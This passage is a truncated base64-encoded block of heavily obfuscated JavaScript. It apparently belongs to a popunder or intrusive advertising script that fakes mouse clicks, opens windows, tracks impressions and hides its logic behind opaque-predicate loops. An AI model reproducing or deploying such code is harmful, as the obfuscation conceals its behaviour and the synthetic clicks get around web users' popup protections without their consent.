3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVuZ3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhLFZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGhlOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3BpXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10oZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1JpK0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19zXSYmZVtxZStHcitfc10oKTt3NS5vNCg0KTtlW3c1LmM0KE5yLEdyLGNvKV09eXU7dzUubzQoNCk7ZVt3NS51NChtcyxHcixIcildPWd1O31jYXRjaCh0KXt9fSxpOmZ1bmN0aW9uKCl7dmFyIE8xLEcxLEMxO08xPS0xMzAyMzI0NTE3O0cxPTg4ODY0MDYzMDtDMT0yO2Zvcih2YXIgbjE9MTt3NS5kMShuMS50b1N0cmluZygpLG4xLnRvU3RyaW5nKCkubGVuZ3RoLDU5MTU1KSE9PU8xO24xKyspe3JldHVybiB0aGlzLm10LlVlfHx0aGlzLm10LkRlO0MxKz0yO31pZih3NS5MMShDMS50b1N0cmluZygpLEMxLnRvU3RyaW5nKCkubGVuZ3RoLDIzODAyKSE9PUcxKXtyZXR1cm4gdGhpcy5tdC5VZSYmdGhpcy5tdC5EZTt9fSxwaTpmdW5jdGlvbigpe3ZhciBoNyxpNyxMNztoNz0tMTUxMTEyMzE1NDtpNz0tMTY3MjAwNTI5NjtMNz0yO2Zvcih2YXIgTzc9MTt3NS5kMShPNy50b1N0cmluZygpLE83LnRvU3RyaW5nKCkubGVuZ3RoLDMyNTMzKSE9PWg3O083Kyspe3JldHVybiB0aGlzLiRpKCk8dGhpcy5tdC5IZTtMNys9Mjt9aWYodzUuTDEoTDcudG9TdHJpbmcoKSxMNy50b1N0cmluZygpLmxlbmd0aCwxOTk5KSE9PWk3KXtyZXR1cm4gdGhpcy4kaSgpPj10aGlzLm10LkhlO319LGdpOmZ1bmN0aW9uKHQsZSxpLG4scil7Zm9yKHZhciBvLHM9MDtzPGUmJihvPXRbc10sISgxPT09biYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzErKGlbc108PGlbc10lMTApLGlbZStzXSl8fHIob1trZStHcitucytHcitCaV0ob1twaV0tMSkqaVtzXSoyK3MrKGlbc10+PnMpLGlbMiplK3NdKXx8cihvW3BpXSppW3NdKjMrKGlbc108PHMpLGlbMyplK3NdKSl8fG48MSYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzEsaVtlK3NdKXx8cihvW2tlK0dyK25zK0dyK0JpXShvW3BpXS0xKSppW3NdKjIrcyxpWzIqZStzXSl8fHIob1twaV0qaVtzXSozLGlbMyplK3NdKSkpKTtzKyspO30sV2U6W10sdG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gbmV3IFljKHRoaXMuV2VbcGldLHQsZSk7fSxBaTpmdW5jdGlvbih0KXt0aGlzLmNpLnVpPXQ7dGhpcy5jaS5HPVpjLkcoKTt9LGFpOltdLE1pOmZ1bmN0aW9uKHQpe3JldHVybiBudS5YdCh0KSx0aGlzO30sWmk6ZnVuY3Rpb24oKXtyZXR1cm4gWmMucChbW1RyLHRoaXMubXQuRGVdLFtvaSx0aGlzLm10LlVlXSxbd3QsdGhpcy5tdC5SZV0sW0xyK0dyK3plLHRoaXMubXQuT2VdLFtSbitHcitFbix0aGlzLm10Lk5lXSxbRHQsdGhpcy5tdC5IZV0sW2xjK0dyK2JhLHRoaXMubXQucWVdLFtSbitHcitiYSx0aGlzLm10LkplXSxbUW4sdGhpcy5tdC5WZV0sW3crR3IrVix0aGlzLm10LiRlXSxbdytHcitEbix0aGlzLm10LlFlXSxbcG4rR3IrdHIrR3IrTG4sdGhpcy5tdC5HZV0sW0JzK0dyK2wrR3IrU3MsdGhpcy5tdC4kdF0sW05zK0dyKyRyLHRoaXMubXQuWWVdLFtJYytHcitwYytHcitfaSx0aGlzLm10LmJlXSxbTHMrR3IrYnQsdGhpcy5tdC5LZV0sW0IrR3IrdmUrR3IrX28rR3IreW4rR3IrTG4sdGhpcy5tdC5QZV1dKTt9LFRlOmZ1bmN0aW9uKHQpe3ZhciBlLGk7aT1aYy5PKGd1KTtyZXR1cm4gZT1pW3RvK0dyK3lhXVttcl1bVXMrR3IrQ25dKGRlKSwwPT09eVtFaV1bdW5dW0wrR3IrV2FdKGorVnQrR3IpP2VbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPUdyKyhXcitZZStHcit3bitHcikrKGYrVHQrUytUdCthYStHcitaZStHcitRaStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKTplW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoV3IrWWUrR3Ird24rR3IpKyhZcitUdCtjYStHcitfZStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSxpW3RvK0dyK3lhXVttcl1bUXJdW0l0K0dyK1dlXShlKSx0eXBlb2YgdCE9PVd0JiZ0eXBlb2YgdCE9PWdlfHxpbyhmdW5jdGlvbigpe1pjLlAoaSk7fSx0fHw1MDApLGk7fSxOaTpmdW5jdGlvbigpe3ZhciBvMSx3MSxwMTtvMT0tMjExMjgyOTI0MDt3MT00MjIxODMwODI7cDE9Mjtmb3IodmFyIHEwPTE7dzUuZDEocTAudG9TdHJpbmcoKSxxMC50b1N0cmluZygpLmxlbmd0aCwzNTgxNCkhPT1vMTtxMCsrKXtmb3IodmFyIHQsZT02O2U8PXRoaXMuV2VbcGldO2UtLSl7dD10aGlzLldlW2VdO3R1LnUodC5tdC5idCk7fXRoaXMuWGUub2k9dGhpcy5YZS5zaT00O2V1LnUodXUpO2V1LnUoY3UpO2V1LnUoaHUpO3AxKz0yO31pZih3NS5MMShwMS50b1N0cmluZygpLHAxLnRvU3RyaW5nKCkubGVuZ3RoLDUxMjkxKSE9PXcxKXtmb3IodmFyIHQsZT0yO2U8dGhpcy5XZVtwaV07ZSsrKXt0PXRoaXMuV2VbZV07dHUudSh0Lm10LmJ0KTt9dGhpcy5YZS5vaT10aGlzLlhlLnNpPTM7ZXUudSh1dSk7ZXUudShjdSk7ZXUudShodSk7fWZvcih2YXIgdCxlPTA7ZTx0aGlzLldlW3BpXTtlKyspe3Q9dGhpcy5XZVtlXTt0dS51KHQubXQuYnQpO310aGlzLlhlLm9pPXRoaXMuWGUuc2k9MDtldS51KHV1KTtldS51KGN1KTtldS51KGh1KTt9LHppOmZ1bmN0aW9uKCl7dmFyIHQ7dD0wO3JldHVybiBldS5zKCk/KHQ9ZXUuYyh1dSksZXUudSh1dSkpOnR1LmModXUpJiYocmlbaWFdPT09UnRbdW5dfHx+UnRbdW5dW0wrR3IrV2FdKEdyK3NlK0dyK3R1LmMoY3UpKSkmJih0PXR1LmModXUpLGlvKGZ1bmN0aW9uKCl7dHUudSh1dSk7dHUudShjdSk7fSwzMDApKSx0PVVjKHQsMTApLHQ9cWModCk/MDp0LHRoaXMuWGUuc2k9dDt9LG10OntOZTpndSxLZTp5dSxKZTpbXSxWZTowLCR0OmJ1LCRlOltdLERlOnl1LE9lOkZ1LEhlOjk5OTksUmU6eXUscWU6W10sWWU6MTAsVWU6eXUsUWU6Z3UsUGU6eXUsYmU6eXUsR2U6Z3V9LCRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuWGUuc2k7fSxRaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLlhlLm9pO30sYmk6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhLGMsdSxuOSxGOSxnOTtzPXRoaXM7YT0wO2M9dGhpcy5YZTt1PWZ1bmN0aW9uKHQsZSl7dmFyIFA5LEo5LFg5O1A5PTMyNTI1NjI2O0o5PS05NTA1MjQwNDM7WDk9Mjtmb3IodmFyIFM5PTE7dzUuTDEoUzkudG9TdHJpbmcoKSxTOS50b1N0cmluZygpLmxlbmd0aCw0ODQ5MykhPT1QOTtTOSsrKXtyZXR1cm4gdD09PWV8fChjLm5pPWd1LHMubGk9a3UpLHQhPWU7WDkrPTI7fWlmKHc1LkwxKFg5LnRvU3RyaW5nKCksWDkudG9TdHJpbmcoKS5sZW5ndGgsNTM4MDApIT09Sjkpe3JldHVybiB0IT09ZSYmKGMubmk9Z3Uscy5saT1rdSksdCE9PWU7fX07aWYodHlwZW9mIHlbcnVdW2FyXSE9PWdlKXtjLm5pPW11O3Q9eVtydV1bYXJdW1huXSgpO2U9eVtydV1bYXJdW1huXSgpO2k9eVtydV1bYXJdW1huXSgpO249eVtydV1bYXJdW1huXSgpO3I9WmMuRigoeVtydV1bYXJdW1huXSgpfHx7c3JjOm51bGx9KVtYcl0pO289WmMuRih4dVtYcl0pO3RyeXtuOT0xNDUwNjEyMjI1O0Y5PS01NjY0Nzc2Nzc7Zzk9Mjtmb3IodmFyIFI5PTE7dzUuZDEoUjkudG9TdHJpbmcoKSxSOS50b1N0cmluZygpLmxlbmd0aCwyODY5NSkhPT1uOTtSOSsrKXthPXlbcnVdW2FyXVtYbl0oKSYmNztnOSs9Mjt9aWYodzUuZDEoZzkudG9TdHJpbmcoKSxnOS50b1N0cmluZygpLmxlbmd0aCwzODQzOCkhPT1GOSl7YT15W3J1XVthcl1bWG5dKCkmJjc7fWE9eVtydV1bYXJdW1huXSgpfHwwO31jYXRjaCh0KXt9YT1kcltCb10oMCxkcltrYV0oMSxhKSk7dGhpcy5taSh0LG8scix1KTt0aGlzLmdpKHQsdFtwaV0sZSxhLHUpO3RoaXMueWkoaSxpW3BpXSxuLGEsdSk7dGhpcy5raSh0LHRbcGldLFpjLkYoKSx1LHUpO3RoaXMud2koaSxaYy5HKCkpO2Mubmk9PT1tdSYmKGMubmk9eXUpO31jLnhpPWF8fDA7fSxFaTpmdW5jdGlvbih0LGUpe3ZhciBkOSxPOSxHOTtkOT04MzA2MTMyMTE7Tzk9MTQwNDM5MjY4MztHOT0yO2Zvcih2YXIgazk9MTt3NS5kMShrOS50b1N0cmluZygpLGs5LnRvU3RyaW5nKCkubGVuZ3RoLDE2MDEwKSE9PWQ5O2s5Kyspe3RoaXMueGUuUXQ9dDt0aGlzLnhlLlM9ZTtHOSs9Mjt9aWYodzUuZDEoRzkudG9TdHJpbmcoKSxHOS50b1N0cmluZygpLmxlbmd0aCw3Njg2OSkhPT1POSl7dGhpcy54ZS5RdD10O3RoaXMueGUuUz1lO319LFhpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbix1OSx5OSxIOTtuPXR8fHt9O2ZvcihlIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixlKSlzd2l0Y2godGhpcy5tdFtlXT1pPW5bZV0sZSl7Y2FzZSBUcjp0aGlzLm10LkRlPWk7YnJlYWs7Y2FzZSBvaTp0aGlzLm10LlVlPWk7YnJlYWs7Y2FzZSB3dDp0aGlzLm10LlJlPWk7YnJlYWs7Y2FzZSBMcitHcit6ZTp0aGlzLm10Lk9lPWk7YnJlYWs7Y2FzZSBSbitHcitFbjp0aGlzLm10Lk5lPWk7YnJlYWs7Y2FzZSBEdDp0aGlzLm10LkhlPWk7YnJlYWs7Y2FzZSBsYytHcitiYTp0aGlzLnFlW29hXSh0aGlzLGkpO2JyZWFrO2Nhc2UgUm4rR3IrYmE6dGhpcy5KZVtvYV0odGhpcyxpKTticmVhaztjYXNlIFFuOnRoaXMubXQuVmU9aTticmVhaztjYXNlIHcrR3IrVjp0aGlzLm10LiRlPWk7YnJlYWs7Y2FzZSB3K0dyK0RuOnRoaXMubXQuUWU9aTticmVhaztjYXNlIHBuK0dyK3RyK0dyK0xuOnRoaXMubXQuR2U9aTticmVhaztjYXNlIEJzK0dyK2wrR3IrU3M6dGhpcy5tdC4kdD1pO2JyZWFrO2Nhc2UgTnMrR3IrJHI6dGhpcy5tdC5ZZT1pO2JyZWFrO2Nhc2UgSWMrR3IrcGMrR3IrX2k6dGhpcy5tdC5iZT1pO2JyZWFrO2Nhc2UgTHMrR3IrYnQ6dGhpcy5tdC5LZT1pO2JyZWFrO2Nhc2UgQitHcit2ZStHcitfbytHcit5bitHcitMbjp0aGlzLm10LlBlPWk7fXU5PTE1MDY0OTg2ODA7eTk9NjExNzc3ODY1O0g5PTI7Zm9yKHZhciBUOT0xO3c1LkwxKFQ5LnRvU3RyaW5nKCksVDkudG9TdHJpbmcoKS5sZW5ndGgsNjMyMykhPT11OTtUOSsrKXtyZXR1cm4gdGhpcztIOSs9Mjt9aWYodzUuZDEoSDkudG9TdHJpbmcoKSxIOS50b1N0cmluZygpLmxlbmd0aCw2MzczOSkhPT15OSl7cmV0dXJuIHRoaXM7fX0saGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksZzcsTTcsUjc7Zzc9LTM5MDQ0MjA2O003PS0xNjI0Njc4MzI1O1I3PTI7Zm9yKHZhciBKNz0xO3c1LkwxKEo3LnRvU3RyaW5nKCksSjcudG9TdHJpbmcoKS5sZW5ndGgsNTI1MzkpIT09Zzc7SjcrKyl7ZT10aGlzLndlKCk7aT10aGlzLmNpLnVpO1I3Kz0yO31pZih3NS5MMShSNy50b1N0cmluZygpLFI3LnRvU3RyaW5nKCkubGVuZ3RoLDg0NzUzKSE9PU03KXtlPXRoaXMud2UoKTtpPXRoaXMuY2kudWk7fXRyeXsodD1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0oZ3MsZ3UsZ3UseSwxLGlbT2krR3IrVWVdLGlbT2krR3IreG9dLGlbSGMrR3IrVWVdLGlbSGMrR3IreG9dLHl1LHl1LHl1LHl1LDAsbXUpO3RbVW9dPWd1O2VbZ24rR3IrQ2FdKHQpO31jYXRjaCh0KXtLYy5lKHQpO319LFZpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuUGkobzUpO30sU2k6ZnVuY3Rpb24oKXt2YXIgdCxpLG4scixvLHM7cj10aGlzO289NTAwO3M9ZnVuY3Rpb24odCxlKXt2YXIgaSxuO249WGMuYj9lYzpnczsoaT1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0obixndSxndSx5LDEsZVtPaStHcitVZV0sZVtPaStHcit4b10sZVtIYytHcitVZV0sZVtIYytHcit4b10seXUseXUseXUseXUsMCxtdSk7aS5mYz1ndTt0W2duK0dyK0NhXShpKTt9O2l1LlgocmksJHQsZnVuY3Rpb24ocil7dmFyIG8sRjEsZzEsTTE7dzUubzQoNCk7bz1yW3c1LnU0KHNyLEdyLGUpXVswXTtGMT05NTkwNTM3NzY7ZzE9LTE3NzY2NDMwNTc7TTE9Mjtmb3IodmFyIFAxPTE7dzUuZDEoUDEudG9TdHJpbmcoKSxQMS50b1N0cmluZygpLmxlbmd0aCw4NTkzNCkhPT1GMTtQMSsrKXt3NS5vNCgxOCk7dD1yW3c1LnU0KG9zLEpzLEdyKV07dzUuWTQoMTkpO2k9b1t3NS51NChHcixmbyxVZSldO3c1Lm80KDIwKTtuPW9bdzUuYzQoeG8sZm8sR3IpXTtNMSs9Mjt9aWYodzUuTDEoTTEudG9TdHJpbmcoKSxNMS50b1N0cmluZygpLmxlbmd0aCwxMTM5OCkhPT1nMSl7dzUubzQoMjEpO3Q9clt3NS5jNChvcyxKcyxHcildO3c1Llk0KDIyKTtpPW9bdzUuYzQoR3IsVWUsZm8pXTt3NS5vNCg2KTtuPW9bdzUuYzQoR3IseG8sZm8pXTt9dzUubzQoNCk7dD1yW3c1LnU0KG9zLEdyLEpzKV07dzUuWTQoNCk7aT1vW3c1LmM0KGZvLEdyLFVlKV07dzUubzQoNCk7bj1vW3c1LnU0KGZvLEdyLHhvKV07fSxndSk7aXUuWChyaSx2LGZ1bmN0aW9uKGEpe3ZhciBjLHUsaCxTMCxOMCxhMDtTMD0xMTI5ODE1NDEyO04wPS00NTk2NDE3MTE7YTA9Mjtmb3IodmFyIGYwPTE7dzUuZDEoZjAudG9TdHJpbmcoKSxmMC50b1N0cmluZygpLmxlbmd0aCw5MDQxMCkhPT1TMDtmMCsrKXt3NS5vNCg0KTtjPWFbdzUuYzQoc3IsR3IsZSldWzBdO3U9aXUudHQoYSk7aD1yLm10LlllO2EwKz0yO31pZih3NS5MMShhMC50b1N0cmluZygpLGEwLnRvU3RyaW5nKCkubGVuZ3RoLDUxODk1KSE9PU4wKXt3NS5Z